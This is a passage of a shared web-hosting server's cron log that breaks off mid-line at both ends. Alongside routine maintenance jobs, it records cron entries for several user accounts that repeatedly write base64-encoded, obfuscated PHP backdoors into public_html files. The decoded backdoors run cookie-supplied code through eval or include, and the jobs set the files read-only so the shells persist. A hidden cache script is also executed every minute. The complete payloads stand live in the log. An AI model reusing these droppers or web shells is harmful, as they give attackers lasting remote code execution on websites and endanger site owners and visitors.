bSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:29:02 medusa CROND[17140]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:29:02 medusa CROND[17145]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:29:02 medusa CROND[17149]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18934]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 07:30:01 medusa CROND[18948]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18950]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:30:01 medusa CROND[18952]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 07:30:01 medusa CROND[18953]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18955]: (root) CMD (/nutscripts/rm-bkp.sh > /dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18957]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:30:01 medusa CROND[18960]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:30:01 medusa CROND[18962]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18964]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:30:01 medusa CROND[18965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18963]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:30:01 medusa CROND[18970]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:30:01 medusa CROND[18973]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:30:01 medusa CROND[18971]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:30:01 medusa CROND[18978]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:30:01 medusa CROND[18969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18979]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18975]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18968]: (root) CMD (/nutscripts/stop_scripts.sh > /dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18980]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:30:01 medusa CROND[18967]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:30:01 medusa CROND[18984]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:30:01 medusa CROND[18990]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:30:01 medusa CROND[18977]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[18993]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:30:01 medusa CROND[18994]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:30:01 medusa CROND[18996]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 07:30:01 medusa CROND[19001]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 07:30:01 medusa CROND[18988]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 07:30:01 medusa CROND[18989]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:30:01 medusa CROND[18991]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:31:01 medusa CROND[21045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:31:01 medusa CROND[21046]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:31:01 medusa CROND[21094]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:31:01 medusa CROND[21095]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:31:01 medusa CROND[21098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:31:01 medusa CROND[21100]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:31:01 medusa CROND[21099]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:31:01 medusa CROND[21103]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:31:01 medusa CROND[21105]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:31:01 medusa CROND[21104]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:31:01 medusa CROND[21108]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:31:01 medusa CROND[21109]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArID